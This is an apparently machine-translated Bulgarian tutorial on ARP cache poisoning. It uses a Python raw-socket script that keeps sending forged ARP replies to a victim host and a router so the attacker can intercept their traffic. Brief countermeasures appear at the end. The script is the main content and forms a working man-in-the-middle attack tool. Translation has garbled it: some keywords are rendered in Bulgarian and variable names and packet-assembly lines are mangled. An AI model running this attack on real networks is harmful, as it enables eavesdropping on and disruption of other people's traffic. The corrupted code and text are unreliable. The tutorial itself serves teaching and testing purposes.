ARP отравяне атака със сурови гнезда в Python

Съдържание

Днес ще ви науча как да се осъществи атака на отравяне с ARP (Отравяне с ARP кеш). За него ще използвам необработени сокети в python, целта е да видите как работи този тип гнезда, да научите как работи тази атака или да можете да провеждате тестове във вашата мрежа (въпреки че вече има инструменти в мрежата за това), а не да я използвате за злонамерени цели.

ЗабележкаС scapy можете да приложите тази работа по -бързо и по -лесно, но като гледате този урок, ще можете да използвате знанията, за да използвате библиотеката и да го направите сами, ако го направим обратно, ще ви струва повече. Показаният тук метод работи само на Linux системи.

Малки подробности, които трябва да знаете
ARPТова е протокол за разрешаване на адреси, намерен на мрежовия слой. Неговата мисия е да намери MAC адреса (физически адрес), който съответства на конкретен IP адрес (мрежов адрес).
ARP кешовеВсяко устройство има малка памет, където съхранява MAC - IP преводи, ние ще се възползваме от това в тази атака. Този кеш съществува, защото избягва режийните разходи за искане на превод всеки път, когато се свържем с друго устройство.

The Работа с ARP протокол Просто е, когато изпращате пакет на някого, кешът на устройството ще бъде проверен, ако има този превод, ще е необходимо да изпрати пакета, ако няма ARP, той ще изпрати пакет за излъчване (той е специален, той има целевия MAC адрес ff: ff: ff: ff: ff: ff), този пакет ще достигне до всички устройства в мрежата и ще "попита" кой има търсения IP адрес, всяко устройство, когато види специалния MAC, ще прочете пакета и само този с адреса Търсеният IP ще отговори, като посочи своя MAC, в този момент той ще се съхранява в кеша, за да не се налага да питате отново през следващите няколко минути.

The Атака на отравяне с ARP Използва се за шпиониране на данните, които преминават през мрежа, или можем да ги използваме и така, че данните да не достигат до дестинациите, към които отиват. Тази атака се състои в постоянно изпращане на ARP пакети към мрежата, показващи, че нашият MAC съответства на IP на жертвата и че нашият MAC е свързан с IP на рутера. Трябва да изпращаме пакетите постоянно, защото това е динамичен протокол, така че кешът се променя, може да се окаже, че преводът е изтрит, актуализиран е с реалните данни, така че за да сме сигурни, че изпращаме пакети всеки малко, те не са много тежки, така че обикновено няма да претоварват мрежата.

ЗабележкаARP е протокол, който се използва само в IPv4, поради което тази атака не е валидна за IPv6, но отравящата атака може да бъде извършена, като се възползвате от друг протокол, като NDP, който се използва за откриване на „съседи“ в мрежа .

За да започнем нашия пример, трябва да знаем IP адресите на жертвата и шлюза на рутера, както и неговия MAC, можете да използвате nmap, за да откриете активните устройства във вашата мрежа, а MAC може да бъде получен лесно, например Искаме за да отровя кеша на адреса 192.168.66.2, който ще бъде моята жертва (виртуална машина), ще изпълня следното в cmd или терминала:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-C и -n показват, че трябва да се изпрати само един пакет, всяка операционна система има различен параметър. По -късно поставяме:
 арфа
Той ще показва ARP кеша, следователно можем да видим преводите, които сме съхранили (и след като направихме пинг, вече имаме превода с жертвата). Трябва да направим същото с шлюза на рутера:

След това ще сложа всички данни, които имаме, за да ги имаме под ръка:

  • Жертва -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Рутер -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Моят компютър -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Поставих пълния код и го обяснявам по -долу, той работи за Python във версия 2.x, но с малки промени можете да го адаптирате към версия 3.x:

 време за импортиране на сокет, структура, binascii връзка = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "code =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton6aut6 " + MacVictouterHead = eth1 + MacVictouterCompartida + заглавие ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter печат ("Отравяне на кешовете … за спиране на CTRL + C"), докато True: connection.send (arpRouter) връзка. ) time.sleep (1)
Първото нещо, което правим, е да импортираме необходимите библиотеки, които не се нуждаят от допълнително обяснение. Нека продължим със следните редове:
 връзка = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))
Първият ред създава гнездо със следните характеристики:
  • PF_PACKET: За изпращане и получаване на пакети на ниско ниво.
  • SOCK_RAW: За използване на необработени гнезда.
  • socket.htons (0x0800): 0x0800 ще дефинира протокола ETH_P_IP, функцията ntohs преобразува мрежовия формат в байтове в подходящия формат за нашия компютър (s означава къси, тоест 16 бита, ако има l, би било 32 бита).

А вторият ще отговаря за поставянето на гнездото за „слушане“:

  • ens33: това е мрежовият интерфейс, където ще работим, вашият може да бъде eth0, ако използвате ifconfig, ще го видите (вижте изображението по -долу).
  • socket.htons (0x800): същото като казаното по -рано.

Редовете, които виждаме по -долу, ще създадат заглавките на Ethernet, за това ние установяваме MAC и кода (този, който поставяме, принадлежи на протокола ARP), ако искате да научите повече за Ethernet, щракнете тук:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" код = "\ x08 \ x06" commonpackage = macSource + код eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage
Следващата част от кода сглобява ARP пакетите, за да проверите структурата, можете да посетите следната връзка и да отидете в раздела структура на пакета. Кодът на операция \ x00 \ x02 е да покаже, че това е пакет за отговор (ако е 1, това би било заявка), а функцията socket.inet_aton () преобразува IPv4 адрес в 32-битов двоичен формат. Както видяхте в предишния код и сега, за да създадем пакет, ние свързваме неговите части.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Споделена заглавка = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + споделена заглавка + ipRouter + macVictima + ipVictima arpRouter = eth2 + споделена заглавка + ipVicter + iPVictima + maR
Последната част от кода показва съобщение, за да знае, че работи и влиза в безкраен цикъл, който ще изпраща пакети, за да отрови кеша на нашата жертва и шлюза на рутера, това се прави всяка секунда, откакто имаме сън.
 print ("Отравяне на кешовете … за спиране на CTRL + C") докато True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Нека да видим как изглежда изпълнението на програмата (трябва стартирайте като root потребител):

И ако погледнем кеша на жертвата, можем да видим, че неговият IP адрес вече е свързан с MAC на нападателя:

Контрамери

  • Използвайте статични ARP таблици, добавяме записите на ръка и не ги оставяме да се променят.
  • Консултирайте се Обратен ARP, този протокол ще върне IP адреса от MAC, така че ако връща повече от един IP адрес, вероятно сме били подправени.

Тези мерки изискват минимални познания, така че не всеки ще може да ги изпълни, но като се консултирате с нашата секция с въпроси за ИТ сигурност или уроци, със сигурност ще намерите помощ.

В случай, че искате кода, ето цип:

Изтеглете код ArpPoisoning.zip 579 байта 116 Изтегляния

Хареса ли ви и помогнахте на този урок?Можете да възнаградите автора, като натиснете този бутон, за да му дадете положителна точка
wave wave wave wave wave